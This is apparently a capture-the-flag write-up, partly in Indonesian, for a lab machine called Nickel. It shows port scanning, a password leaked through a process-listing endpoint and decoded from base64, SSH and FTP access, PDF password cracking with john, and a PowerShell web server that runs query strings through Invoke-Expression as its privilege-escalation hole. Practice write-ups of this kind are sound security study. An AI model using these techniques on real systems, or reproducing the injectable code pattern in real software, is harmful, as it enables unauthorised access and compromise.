Nickel

Information Gathering

Ports and service

                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ nmap -p- -sVC 192.168.248.99 --min-rate 1000 -oN nmapres  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 01:45 WIB
Nmap scan report for 192.168.248.99
Host is up (0.20s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.60 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
|   256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_  256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: NICKEL
|   NetBIOS_Domain_Name: NICKEL
|   NetBIOS_Computer_Name: NICKEL
|   DNS_Domain_Name: nickel
|   DNS_Computer_Name: nickel
|   Product_Version: 10.0.18362
|_  System_Time: 2025-05-18T18:49:10+00:00
|_ssl-date: 2025-05-18T18:50:24+00:00; +9s from scanner time.
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2025-05-17T18:43:52
|_Not valid after:  2025-11-16T18:43:52
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8089/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
33333/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

destination yang berbeda

                      
┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ curl -X POST "http://192.168.248.99:33333/list-running-procs" -H "content-length: 100" 
[ --SNIP-- ]
name        : cmd.exe
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p 
              "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh
[ --SNIP-- ]

                                                                                                                                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ echo "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" | base64 -d                                                                                                                                                                                                                                                    
NowiseSloopTheory139
                              

┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ ssh [email protected]
[email protected]'s password: 

Microsoft Windows [Version 10.0.18362.1016]
(c) 2019 Microsoft Corporation. All rights reserved.

ariah@NICKEL C:\Users\ariah>

┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ ftp 192.168.248.99                                                                                            
Connected to 192.168.248.99.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse ([email protected])
220 Please visit https://filezilla-project.org/
Name (192.168.248.99:kali): ariah
331 Password required for ariah
Password: 
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||56194|)
150 Opening data channel for directory listing of "/"
-r--r--r-- 1 ftp ftp          46235 Sep 01  2020 Infrastructure.pdf
226 Successfully transferred "/"
ftp> get Infrastructure.pdf
local: Infrastructure.pdf remote: Infrastructure.pdf
229 Entering Extended Passive Mode (|||53866|)
150 Opening data channel for file download from server of "/Infrastructure.pdf"
100% |******************************************************************************************************************************************************************************************************************| 46235      108.08 KiB/s    00:00 ETA226 Successfully transferred "/Infrastructure.pdf"
46235 bytes received in 00:00 (107.97 KiB/s)
ftp>

┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ pdf2john Infrastructure.pdf 
Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*14350d814f7c974db9234e3e719e360b*32*6aa1a24681b93038947f76796470dbb100000000000000000000000000000000*32*d9363dc61ac080ac4b9dad4f036888567a2d468a6703faf6216af1eb307921b0

                                                                                                                                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/pg/nickel]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt     
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 4 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ariah4168        (Infrastructure.pdf)     
1g 0:00:00:13 DONE (2025-05-19 03:18) 0.07369g/s 737249p/s 737249c/s 737249C/s arian69..ari7ana
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 

ariah@NICKEL C:\Users\ariah\Documents>curl http://nickel
<!doctype html><html><body>dev-api started at 2024-08-03T05:08:16

        <pre></pre>
</body></html>
ariah@NICKEL C:\Users\ariah\Documents>curll http:

ariah@NICKEL C:\Users\ariah\Documents>curl http://corp-nas/files
curl: (6) Could not resolve host: corp-nas

ariah@NICKEL C:\Users\ariah\Documents>curl http://nickel-backup/backup
curl: (6) Could not resolve host: nickel-backup

ariah@NICKEL C:\Users\ariah\Documents>

Priv Esc

ariah@NICKEL C:\>type C:\windows\system32\ws80.ps1
[ --snip -- ]
# analyze incoming request
$CONTEXT = $LISTENER.GetContext()
$REQUEST = $CONTEXT.Request
$RESPONSE = $CONTEXT.Response
$RESPONSEWRITTEN = $FALSE
[ --snip -- ]
"GET /"
        {
#               $FORMFIELD = ''
                $FORMFIELD = [URI]::UnescapeDataString(($REQUEST.Url.Query -replace "\?",""))

                if (![STRING]::IsNullOrEmpty($FORMFIELD))
                {
                        try {

                                $RESULT = Invoke-Expression -EA SilentlyContinue $FORMFIELD 2> $NULL | Out-String
                        }
                        catch
                        {
                                # just ignore. Error handling comes afterwards since not every error throws an exception
                        }
                        if ($Error.Count -gt 0)
                        { # retrieve error message on error
                                $RESULT += "`nError while executing '$FORMFIELD'`n`n"
                                $RESULT += $Error[0]
                                $Error.Clear()
                        }
                }
        }
[ --snip -- ]

Learned

• Teliti terhadap target (link, source, etc)

• static analyst dengan teliti